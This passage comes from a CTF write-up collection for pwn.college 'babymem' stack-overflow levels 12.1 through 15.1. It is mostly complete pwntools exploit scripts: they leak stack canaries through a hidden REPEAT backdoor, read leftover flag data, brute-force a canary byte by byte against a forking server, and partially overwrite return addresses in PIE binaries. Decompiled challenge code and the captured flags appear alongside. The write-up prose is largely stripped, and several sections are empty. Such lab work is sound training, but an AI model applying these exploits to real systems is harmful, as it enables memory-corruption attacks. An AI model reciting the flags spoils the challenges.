    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall()

        return b"pwn.college{" in response
    except Exception as e:
        log.exception(f"An error occurred while performing attack: {e}")


def main():
    while True:
        target = launch()

        try:
            payload = construct_payload(target)

            if attack(target, payload):
                log.success("Success! Exiting...")

                pause()
                exit()
            else:
                target.close()
                target = launch()
        except Exception as e:
            log.exception(f"An error occurred in main loop: {e}")


if __name__ == "__main__":
    main()
```

## Flag

Flag: `pwn.college{YkuEQhg7aejOObKgMu4MNlIgI-S.0VMxMDL5cTNxgzW}`

# Level 12.1

## Information

- Category: Pwn

## Description

> Defeat a stack canary in a PIE binary by utilizing a bug left in the binary.

## Write-up



## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, random, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-12-1"
HOST, PORT = "pwn.college", 1337

gdbscript = """
b *challenge+298
c
"""


def to_hex_bytes(data):
    return "".join(f"\x{byte:02x}" for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


backdoor = b"REPEAT "
backdoor_trigger = b"".ljust(0x82, b"A") + backdoor
padding_to_canary = b"".ljust(0x88, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = b"xcd"
possible_bytes = [bytes([i]) for i in range(0x03, 0x103, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()

        target.sendlineafter(b"Payload size: ", payload_size)
        target.sendafter(b"Send your payload", payload)
    except Exception as e:
        log.exception(f"An error occurred while sending payload: {e}")


def leak_canary(target):
    try:
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b"x00" + target.recv(0x7)
        log.success(f"Canary: {to_hex_bytes(canary)}")

        return canary
    except Exception as e:
log.exception(f"An error occurred while leaking canary: {e}")


def construct_payload(target):
    canary = leak_canary(target)

    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall()

        return b"pwn.college{" in response
    except Exception as e:
        log.exception(f"An error occurred while performing attack: {e}")


def main():
    while True:
        target = launch()

        try:
            payload = construct_payload(target)

            if attack(target, payload):
                log.success("Success! Exiting...")

                pause()
                exit()
            else:
                target.close()
                target = launch()
        except Exception as e:
            log.exception(f"An error occurred in main loop: {e}")


if __name__ == "__main__":
    main()
```

## Flag

Flag: `pwn.college{Q8RGfsaRLXQyi0mLIgR3c7-_jYK.0lMxMDL5cTNxgzW}`

# Level 13.0

## Information

- Category: Pwn

## Description

> Leak data left behind unintentionally by utilizing clever payload construction
.

## Write-up

```c del={7-8}
int verify_flag()
{
  int v0; // eax
  _BYTE v2[279]; // [rsp+79h] [rbp-117h] BYREF

  *(_QWORD *)&v2[271] = __readfsqword(0x28u);
  v0 = open("/flag", 0);
  read(v0, v2, 0x100uLL);
  puts(
    "This challenge reads the flag file to verify it. Do you think this might le
ave traces of the flag around afterwards?n");
  return printf("The flag was read into address %p.nn", v2);
}
```

 `verify_flag`  `flag` 
 `flag` `printf("You said: %.360sn", (const char *)buf);` 
……

## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, process, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-13-0"
HOST, PORT = "pwn.college", 1337

gdbscript = """
b *verify_flag+75
b *challenge+1429
b *challenge+1932
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_to_flag = b"".ljust(0x59, b"A")


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()

        target.sendlineafter(b"Payload size: ", payload_size)
        target.sendafter(b"Send your payload", payload)
    except Exception as e:
        log.exception(f"An error occurred while sending payload: {e}")


def construct_payload():
    payload = padding_to_flag

    return payload


def leak_flag(target, payload):
    try:
        send_payload(target, payload)

        target.recvuntil(b"pwn.college{")

        flag = b"pwn.college{" + target.recvuntil(b"}")

        log.success(f"Flag successfully leaked: {flag}")
    except Exception as e:
        log.exception(f"An error occurred while performing leak_flag: {e}")


def main():
    target = launch(debug=False)

    payload = construct_payload()

    leak_flag(target, payload)


if __name__ == "__main__":
    main()
```

## Flag

Flag: `pwn.college{YkKrgg8qd3Vyt4OOrpBqwsAEJ2g.01MxMDL5cTNxgzW}`

# Level 13.1

## Information

- Category: Pwn

## Description

> Leak data left behind unintentionally by utilizing clever payload construction
.

## Write-up



## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, process, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-13-1"
HOST, PORT = "pwn.college", 1337

gdbscript = """
b *verify_flag+75
b *challenge+168
c
"""


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_to_flag = b"".ljust(0x8A, b"A")


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()

        target.sendlineafter(b"Payload size: ", payload_size)
        target.sendafter(b"Send your payload", payload)
    except Exception as e:
        log.exception(f"An error occurred while sending payload: {e}")


def construct_payload():
    payload = padding_to_flag

    return payload


def leak_flag(target, payload):
    try:
        send_payload(target, payload)

        target.recvuntil(b"pwn.college{")

        flag = b"pwn.college{" + target.recvuntil(b"}")

        log.success(f"Flag successfully leaked: {flag}")
    except Exception as e:
        log.exception(f"An error occurred while performing leak_flag: {e}")


def main():
    target = launch(debug=False)

    payload = construct_payload()

    leak_flag(target, payload)


if __name__ == "__main__":
    main()
```

## Flag

Flag: `pwn.college{gscSxVngZ4uaJ8tU3A-fhqwrLIM.0FNxMDL5cTNxgzW}`

# Level 14.0

## Information

- Category: Pwn

## Description

> Leak data left behind unintentionally to defeat a stack canary in a PIE binary
.

## Write-up

```c ins={145-149} del={111, 142} collapse={1-107, 115-138, 153-155}
__int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  __int64 v6; // [rsp+0h] [rbp-1E0h] BYREF
  __int64 v7; // [rsp+8h] [rbp-1D8h]
  __int64 v8; // [rsp+10h] [rbp-1D0h]
  unsigned int v9; // [rsp+1Ch] [rbp-1C4h]
  int v10; // [rsp+2Ch] [rbp-1B4h]
  size_t nbytes; // [rsp+30h] [rbp-1B0h] BYREF
  void *buf; // [rsp+38h] [rbp-1A8h]
  char v13; // [rsp+40h] [rbp-1A0h] BYREF
  unsigned __int64 v14; // [rsp+1D8h] [rbp-8h]
  __int64 savedregs; // [rsp+1E0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+1E8h] [rbp+8h] BYREF

  v9 = a1;
  v8 = a2;
  v7 = a3;
  v14 = __readfsqword(0x28u);
  buf = &v13;
  nbytes = 0LL;
  puts("The challenge() function has just been launched!");
  puts("However... An important initialization step was missed.");
  puts("Use this to your advantage!");
  puts(byte_3284);
  sp_ = (__int64)&v6;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v6) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", buf
);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 407);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, there is no "win" variable.");
  puts("You will need to force the program to execute the win_authed() function"
);
  puts("by directly overflowing into the stored return address back to main,");
  printf(
    "which is stored at %p, %d bytes after the start of your input buffer.n",
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    "That means that you will need to input at least %d bytes (%d to fill the bu
ffer,n",
    rp_ - (_DWORD)buf + 8,
    407);
  printf("%d to fill other stuff stored between the buffer and the return addres
s,n", rp_ - (_DWORD)buf - 407);
  puts("and 8 that will overwrite the return address).n");
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  puts("Because the binary is position independent, you cannot know");
  puts("exactly where the win_authed() function is located.");
  puts("This means that it is not clear what should be written into the return a
ddress.n");
  printf("Payload size: ");
  __isoc99_scanf("%lu", &nbytes);
  printf("You have chosen to send %lu bytes of input!n", nbytes);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, buf);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    (char *)buf + nbytes,
    nbytes - 407);
  printf("Of these, you will overwrite %d bytes into the return address.n", nbyt
es + (_DWORD)buf - rp_);
  puts("If that number is greater than 8, you will overwrite the entire return a
ddress.n");
  puts("Overwriting the entire return address is fine when we know");
  puts("the whole address, but here, we only really know the last three nibbles.
");
  puts("These nibbles never change, because pages are aligned to 0x1000.");
  puts("This gives us a workaround: we can overwrite the least significant byte"
);
  puts("of the saved return address, which we can know from debugging the binary
,");
  puts("to retarget the return to main to any instruction that shares the other 
7 bytes.");
  puts("Since that last byte will be constant between executions (due to page al
ignment),");
  puts("this will always work.");
  puts("If the address we want to redirect execution to is a bit farther away fr
om");
  puts("the saved return address, and we need to write two bytes, then one of th
ose");
  puts("nibbles (the fourth least-significant one) will be a guess, and it will 
be");
  puts("incorrect 15 of 16 times.");
  puts("This is okay: we can just run our exploit a few times until it works");
  puts("(statistically, ~50% chance after 11 times and ~90% chance after 36 time
s).");
  puts("One caveat in this challenge is that the win_authed() function must firs
t auth:");
  puts("it only lets you win if you provide it with the argument 0x1337.");
  puts("Speifically, the win_authed() function looks something like:");
  puts("    void win_authed(int token)");
  puts("    {");
  puts("      if (token != 0x1337) return;");
  puts("      puts("You win! Here is your flag: ");");
  puts("      sendfile(1, open("/flag", 0), 0, 256);");
  puts("      puts("");");
  puts("    }");
  puts(byte_3284);
  puts("So how do you pass the check? There *is* a way, and we will cover it lat
er,");
  puts("but for now, we will simply bypass it! You can overwrite the return addr
ess");
  puts("with *any* value (as long as it points to executable code), not just the
 start");
  puts("of functions. Let's overwrite past the token check in win!n");
  puts("To do this, we will need to analyze the program with objdump, identify w
here");
  puts("the check is in the win_authed() function, find the address right after 
the check,");
  puts("and write that address over the saved return address.n");
  puts("Go ahead and find this address now. When you're ready, input a buffer ov
erflow");
  printf(
    "that will overwrite the saved return address (at %p, %d bytes into the buff
er)n",
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  puts("with the correct value.n");
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v10 = read(0, buf, nbytes);
  if ( v10 < 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf("ERROR: Failed to read input -- %s!n", v4);
    exit(1);
  }
  printf("You sent %d bytes!n", v10);
  puts("Let's see what happened with the stack:n");
  DUMP_STACK(sp_, sz_);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", buf);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the canary is stored at %p.n", (const void *)cp_);
  printf("- the canary value is now %p.n", *(const void **)cp_);
  printf("- the address of win_authed() is %p.n", win_authed);
  putchar(10);
  puts("If you have managed to overwrite the return address with the correct val
ue,");
  puts("challenge() will jump straight to win_authed() when it returns.");
  printf("Let's try it now!nn");
  if ( (unsigned __int64)buf + v10 > rp_ + 2 )
  {
    puts("WARNING: You sent in too much data, and overwrote more than two bytes 
of the address.");
    puts("         This can still work, because I told you the correct address t
o use for");
    puts("         this execution, but you should not rely on that information."
);
    puts("         You can solve this challenge by only overwriting two bytes!")
;
    puts("         ");
  }
  printf("You said: %.407sn", (const char *)buf);
  puts("This challenge has a trick hidden in its code. Reverse-engineer the bina
ry right after this puts()");
  puts("call to see the hidden backdoor!");
  if ( strstr((const char *)buf, "REPEAT") )
  {
    puts("Backdoor triggered! Repeating challenge()");
    return challenge(v9, v8, v7);
  }
  else
  {
    puts("Goodbye!");
    return 0LL;
  }
}
```

 level  canary 
 `challenge`  canary 
 `challenge`  canary
 `challenge`  canary 


 canary 
 LMAO

/ `memse
t`  `memset` 


## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, random, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-14-0"
HOST, PORT = "pwn.college", 1337

gdbscript = """
c
"""


def to_hex_bytes(data):
    return "".join(f"\x{byte:02x}" for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


backdoor = b"REPEAT "
backdoor_trigger = b"".ljust(0x82, b"A") + backdoor
padding_to_canary = b"".ljust(0x198, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = b"xd4"
possible_bytes = [bytes([i]) for i in range(0xF, 0x10F, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()

        target.sendlineafter(b"Payload size: ", payload_size)
        target.sendafter(b"Send your payload", payload)
    except Exception as e:
        log.exception(f"An error occurred while sending payload: {e}")


def leak_canary(target):
    try:
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b"x00" + target.recv(0x7)
        log.success(f"Canary: {to_hex_bytes(canary)}")

        return canary
    except Exception as e:
        log.exception(f"An error occurred while leaking canary: {e}")


def construct_payload(target):
    canary = leak_canary(target)

    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall()

        return b"You win!" in response
    except Exception as e:
        log.exception(f"An error occurred while performing leak_flag: {e}")


def main():
    while True:
        target = launch(debug=False)

        try:
            payload = construct_payload(target)

            if attack(target, payload):
                log.success("Success! Exiting...")

                pause()
                exit()
            else:
                target.close()
                target = launch()
        except Exception as e:
            log.exception(f"An error occurred in main loop: {e}")


if __name__ == "__main__":
    main()
```

## Flag

Flag: `pwn.college{chm7VMiV6dZ3oBKDhVUhtvXg3kb.0VNxMDL5cTNxgzW}`

# Level 14.1

## Information

- Category: Pwn

## Description

> Leak data left behind unintentionally to defeat a stack canary in a PIE binary
.

## Write-up



## Exploit

```python
#!/usr/bin/python3

from pwn import ELF, context, gdb, log, pause, process, random, remote

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-14-1"
HOST, PORT = "pwn.college", 1337

gdbscript = """
b *challenge+168
c
"""


def to_hex_bytes(data):
    return "".join(f"\x{byte:02x}" for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e
nvp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


backdoor = b"REPEAT "
backdoor_trigger = b"".ljust(0x72, b"A") + backdoor
padding_to_canary = b"".ljust(0x188, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = b"x7d"
possible_bytes = [bytes([i]) for i in range(0x8, 0x108, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()

        target.sendlineafter(b"Payload size: ", payload_size)
        target.sendafter(b"Send your payload", payload)
    except Exception as e:
        log.exception(f"An error occurred while sending payload: {e}")


def leak_canary(target):
    try:
        send_payload(target, backdoor_trigger)
        target.recvuntil(backdoor)

        canary = b"x00" + target.recv(0x7)
        log.success(f"Canary: {to_hex_bytes(canary)}")

        return canary
    except Exception as e:
        log.exception(f"An error occurred while leaking canary: {e}")


def construct_payload(target):
    canary = leak_canary(target)

    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall()

        return b"You win!" in response
    except Exception as e:
        log.exception(f"An error occurred while performing leak_flag: {e}")


def main():
    while True:
        target = launch(debug=False)

        try:
            payload = construct_payload(target)

            if attack(target, payload):
                log.success("Success! Exiting...")

                pause()
                exit()
            else:
                target.close()
                target = launch()
        except Exception as e:
            log.exception(f"An error occurred in main loop: {e}")


if __name__ == "__main__":
    main()
```

## Flag

Flag: `pwn.college{E_7686TOh__Z7NZeXfOPaMP5YfJ.0lNxMDL5cTNxgzW}`

# Level 15.0

## Information

- Category: Pwn

## Description

> Defeat a stack canary in a PIE binary by utilizing a network-style fork server
 in the target binary.

## Write-up

```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int optval; // [rsp+24h] [rbp-101Ch] BYREF
  int fd; // [rsp+28h] [rbp-1018h]
  int v7; // [rsp+2Ch] [rbp-1014h]
  sockaddr addr; // [rsp+30h] [rbp-1010h] BYREF
  unsigned __int64 v9; // [rsp+1038h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("###");
  printf("### Welcome to %s!n", *argv);
  puts("###");
  putchar(10);
  puts("This challenge is listening for connections on TCP port 1337.n");
  puts("The challenge supports unlimited sequential connections.n");
  fd = socket(2, 1, 0);
  optval = 1;
  setsockopt(fd, 1, 2, &optval, 4u);
  addr.sa_family = 2;
  *(_DWORD *)&addr.sa_data[2] = 0;
  *(_WORD *)addr.sa_data = htons(0x539u);
  bind(fd, &addr, 0x10u);
  listen(fd, 1);
  while ( 1 )
  {
    v7 = accept(fd, 0LL, 0LL);
    if ( !fork() )
      break;
    close(v7);
    wait(0LL);
  }
  dup2(v7, 0);
  dup2(v7, 1);
  dup2(v7, 2);
  close(fd);
  close(v7);
  challenge((unsigned int)argc, argv, envp);
  puts("### Goodbye!");
  return 0;
}
```

 `main`  `1337` 
 `challenge`

```c del={130} collapse={1-126, 134-163}
__int64 __fastcall challenge(int a1, __int64 a2, __int64 a3)
{
  int *v3; // rax
  char *v4; // rax
  _QWORD v6[3]; // [rsp+0h] [rbp-C0h] BYREF
  int v7; // [rsp+1Ch] [rbp-A4h]
  int v8; // [rsp+2Ch] [rbp-94h]
  size_t nbytes; // [rsp+30h] [rbp-90h] BYREF
  void *buf; // [rsp+38h] [rbp-88h]
  _QWORD v11[13]; // [rsp+40h] [rbp-80h] BYREF
  __int16 v12; // [rsp+A8h] [rbp-18h]
  unsigned __int64 v13; // [rsp+B8h] [rbp-8h]
  __int64 savedregs; // [rsp+C0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+C8h] [rbp+8h] BYREF

  v7 = a1;
  v6[2] = a2;
  v6[1] = a3;
  v13 = __readfsqword(0x28u);
  memset(v11, 0, sizeof(v11));
  v12 = 0;
  buf = v11;
  nbytes = 0LL;
  puts("The challenge() function has just been launched!");
  sp_ = (__int64)v6;
  bp_ = (__int64)&savedregs;
  sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2;
  rp_ = (__int64)&retaddr;
  puts("Before we do anything, let's take a look at challenge()'s stack frame:")
;
  DUMP_STACK(sp_, sz_);
  printf("Our stack pointer points to %p, and our base pointer points to %p.n", 
(const void *)sp_, (const void *)bp_);
  printf("This means that we have (decimal) %d 8-byte words in our stack frame,n
", sz_);
  puts("including the saved base pointer and the saved return address, for a");
  printf("total of %d bytes.n", 8 * sz_);
  printf("The input buffer begins at %p, partway through the stack frame,n", buf
);
  puts("("above" it in the stack are other local variables used by the function)
.");
  puts("Your input will be read into this buffer.");
  printf("The buffer is %d bytes long, but the program will let you provide an a
rbitrarilyn", 106);
  puts("large input length, and thus overflow the buffer.n");
  puts("In this level, there is no "win" variable.");
  puts("You will need to force the program to execute the win_authed() function"
);
  puts("by directly overflowing into the stored return address back to main,");
  printf(
    "which is stored at %p, %d bytes after the start of your input buffer.n",
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  printf(
    "That means that you will need to input at least %d bytes (%d to fill the bu
ffer,n",
    rp_ - (_DWORD)buf + 8,
    106);
  printf("%d to fill other stuff stored between the buffer and the return addres
s,n", rp_ - (_DWORD)buf - 106);
  puts("and 8 that will overwrite the return address).n");
  cp_ = bp_;
  cv_ = __readfsqword(0x28u);
  while ( *(_QWORD *)cp_ != cv_ )
    cp_ -= 8LL;
  puts("While canaries are enabled, this networked program forks.");
  puts("What is important to note is that the canary does not get re-randomized 
on fork.n");
  puts("When data that you are overflowing into is critical (i.e., if you screw 
it up");
  puts("the program crashes), but also static across executions, you can brute-f
orce");
  puts("it byte by byte over many attempts.n");
  puts("So, let's brute-force the canary!");
  puts("If this is your first time running this program, all you know so far is 
that");
  puts("the canary has a 0 as its left-most byte.");
  puts("You should proceed like this:n");
  puts("- First, you should try overflowing just the null byte of the canary, fo
r");
  printf("  practice. The canary starts at %p, which is %d bytes after then", (c
onst void *)cp_, cp_ - (_DWORD)buf);
  printf("  start of your buffer. Thus, you should provide %d characters followe
dn", cp_ - (_DWORD)buf);
  puts("  by a NULL byte, make sure the canary check passes, then try a non-NULL
");
  puts("  byte and make sure the canary check fails. This will confirm the offse
ts.");
  puts("- Next try each possible value for just the next byte. One of them (the 
same");
  puts("  as whatever was there in memory already) will keep the canary intact, 
and");
  puts("  when the canary check succeeds, you know you have found the correct on
e.");
  puts("- Go on to the next byte, leak it the same way, and so on, until you hav
e");
  puts("  the whole canary.n");
  puts("You will likely want to script this process! Each byte might take up to 
256");
  puts("tries to guess..n");
  puts("Because the binary is position independent, you cannot know");
  puts("exactly where the win_authed() function is located.");
  puts("This means that it is not clear what should be written into the return a
ddress.n");
  printf("Payload size: ");
  __isoc99_scanf("%lu", &nbytes);
  printf("You have chosen to send %lu bytes of input!n", nbytes);
  printf("This will allow you to write from %p (the start of the input buffer)n"
, buf);
  printf(
    "right up to (but not including) %p (which is %d bytes beyond the end of the
 buffer).n",
    (char *)buf + nbytes,
    nbytes - 106);
  printf("Of these, you will overwrite %d bytes into the return address.n", nbyt
es + (_DWORD)buf - rp_);
  puts("If that number is greater than 8, you will overwrite the entire return a
ddress.n");
  puts("Overwriting the entire return address is fine when we know");
  puts("the whole address, but here, we only really know the last three nibbles.
");
  puts("These nibbles never change, because pages are aligned to 0x1000.");
  puts("This gives us a workaround: we can overwrite the least significant byte"
);
  puts("of the saved return address, which we can know from debugging the binary
,");
  puts("to retarget the return to main to any instruction that shares the other 
7 bytes.");
  puts("Since that last byte will be constant between executions (due to page al
ignment),");
  puts("this will always work.");
  puts("If the address we want to redirect execution to is a bit farther away fr
om");
  puts("the saved return address, and we need to write two bytes, then one of th
ose");
  puts("nibbles (the fourth least-significant one) will be a guess, and it will 
be");
  puts("incorrect 15 of 16 times.");
  puts("This is okay: we can just run our exploit a few times until it works");
  puts("(statistically, ~50% chance after 11 times and ~90% chance after 36 time
s).");
  puts("One caveat in this challenge is that the win_authed() function must firs
t auth:");
  puts("it only lets you win if you provide it with the argument 0x1337.");
  puts("Speifically, the win_authed() function looks something like:");
  puts("    void win_authed(int token)");
  puts("    {");
  puts("      if (token != 0x1337) return;");
  puts("      puts("You win! Here is your flag: ");");
  puts("      sendfile(1, open("/flag", 0), 0, 256);");
  puts("      puts("");");
  puts("    }");
  puts(byte_43BB);
  puts("So how do you pass the check? There *is* a way, and we will cover it lat
er,");
  puts("but for now, we will simply bypass it! You can overwrite the return addr
ess");
  puts("with *any* value (as long as it points to executable code), not just the
 start");
  puts("of functions. Let's overwrite past the token check in win!n");
  puts("To do this, we will need to analyze the program with objdump, identify w
here");
  puts("the check is in the win_authed() function, find the address right after 
the check,");
  puts("and write that address over the saved return address.n");
  puts("Go ahead and find this address now. When you're ready, input a buffer ov
erflow");
  printf(
    "that will overwrite the saved return address (at %p, %d bytes into the buff
er)n",
    (const void *)rp_,
    rp_ - (_DWORD)buf);
  puts("with the correct value.n");
  printf("Send your payload (up to %lu bytes)!n", nbytes);
  v8 = read(0, buf, nbytes);
  if ( v8 < 0 )
  {
    v3 = __errno_location();
    v4 = strerror(*v3);
    printf("ERROR: Failed to read input -- %s!n", v4);
    exit(1);
  }
  printf("You sent %d bytes!n", v8);
  puts("Let's see what happened with the stack:n");
  DUMP_STACK(sp_, sz_);
  puts("The program's memory status:");
  printf("- the input buffer starts at %pn", buf);
  printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_);
  printf("- the saved return address (previously to main) is at %pn", (const voi
d *)rp_);
  printf("- the saved return address is now pointing to %p.n", *(const void **)r
p_);
  printf("- the canary is stored at %p.n", (const void *)cp_);
  printf("- the canary value is now %p.n", *(const void **)cp_);
  printf("- the address of win_authed() is %p.n", win_authed);
  putchar(10);
  puts("If you have managed to overwrite the return address with the correct val
ue,");
  puts("challenge() will jump straight to win_authed() when it returns.");
  printf("Let's try it now!nn");
  if ( (unsigned __int64)buf + v8 > rp_ + 2 )
  {
    puts("WARNING: You sent in too much data, and overwrote more than two bytes 
of the address.");
    puts("         This can still work, because I told you the correct address t
o use for");
    puts("         this execution, but you should not rely on that information."
);
    puts("         You can solve this challenge by only overwriting two bytes!")
;
    puts("         ");
  }
  puts("Goodbye!");
  return 0LL;
}
```

 `challenge` 

 canary 
 canary 64-bits 
 56-bits

 canary  PIE 
 nibble

## Exploit

```python
#!/usr/bin/python3

import os
import subprocess
import time

import psutil
from pwn import ELF, context, gdb, log, pause, process, random, remote, sleep

context(log_level="debug", terminal="kitty")

FILE = "./babymem-level-15-0"
HOST, PORT = "localhost", 1337

gdbscript = """
set follow-fork-mode child
b *challenge+1807
c
"""


def to_hex_bytes(data):
    return "".join(f"\x{byte:02x}" for byte in data)


def get_forked_pid(parent_pid):
    parent = psutil.Process(parent_pid)
    children = parent.children()

    log.success(f"Parent process: {parent_pid} -> Found children: {children}")
    if len(children) != 1:
        raise Exception(f"Expected 1 child process, found {len(children)}")
    return children[0].pid


def launch(local=True, debug=False, aslr=False, argv=None, envp=None, attach=Fal
se):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        target = process([elf.path] + (argv or []), env=envp, aslr=aslr)

        if debug:
            if attach:
                with open(os.devnull, "w") as fnull:
                    subprocess.Popen(
                        [context.terminal[0], "-e", "nc", "localhost", "1337"],
                        stderr=fnull,
                    )
                    sleep(3)

                child_pid = get_forked_pid(target.pid)
                gdb.attach(target=child_pid, gdbscript=gdbscript)

                return remote(HOST, PORT)
            else:
                target.close()

                return gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
                )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


padding_to_canary = b"".ljust(0x78, b"A")
padding_to_ret = b"".ljust(0x8, b"A")
fixed_offset = b"x6b"
possible_bytes = [bytes([i]) for i in range(0xD, 0x10D, 0x10)]


def send_payload(target, payload):
    try:
        payload_size = f"{len(payload)}".encode()

        target.sendlineafter(b"Payload size: ", payload_size)
        target.sendafter(b"Send your payload", payload)
    except Exception as e:
        log.exception(f"An error occurred while sending payload: {e}")


def brute_force_canary():
    canary = b"x00"
    start_time = time.time()

    log.progress("Brute-forcing the canary...")

    while len(canary) < 0x8:
        for byte in range(0x0, 0xFF):
            with remote(HOST, PORT) as target:
                send_payload(target, padding_to_canary + canary + bytes([byte]))

                response = target.recvall(timeout=5)

                if b"*** stack smashing detected ***" not in response:
                    canary += bytes([byte])
                    break

    end_time = time.time()
    elapsed_time = end_time - start_time

    log.success(
        f"Canary brute-forced: {to_hex_bytes(canary)} in {elapsed_time:.2f} seco
nds"
    )
    sleep(1)

    return canary


def construct_payload(canary):
    payload = padding_to_canary
    payload += canary
    payload += padding_to_ret
    payload += fixed_offset + random.choice(possible_bytes)

    return payload


def attack(payload):
    try:
        with remote(HOST, PORT) as target:
            send_payload(target, payload)

            response = target.recvall(timeout=5)

            return b"pwn.college{" in response
    except Exception as e:
        log.exception(f"An error occurred while performing attack: {e}")


def main():
    launch()
    canary = brute_force_canary()

    while True:
        try:
            payload = construct_payload(canary)

            if attack(payload):
                log.success("Success! Exiting...")

                pause()
                exit()
        except Exception as e:
            log.exception(f"An error occurred in main loop: {e}")


if __name__ == "__main__":
    main()
```

## Flag

Flag: `pwn.college{MiU_dCA8jccj_TYZgFn1iejPdTj.01NxMDL5cTNxgzW}`

# Level 15.1

## Information

- Category: Pwn

## Description

> Defeat a stack canary in a PIE binary by utilizing a network-style fork server
 in the target binary.

## Write-up



## Exploit

```python
#!/usr/bin/python3

import os
import subprocess
import time

import psutil
from pwn import ELF, context, gdb, log, pause, process, random, remote, sleep

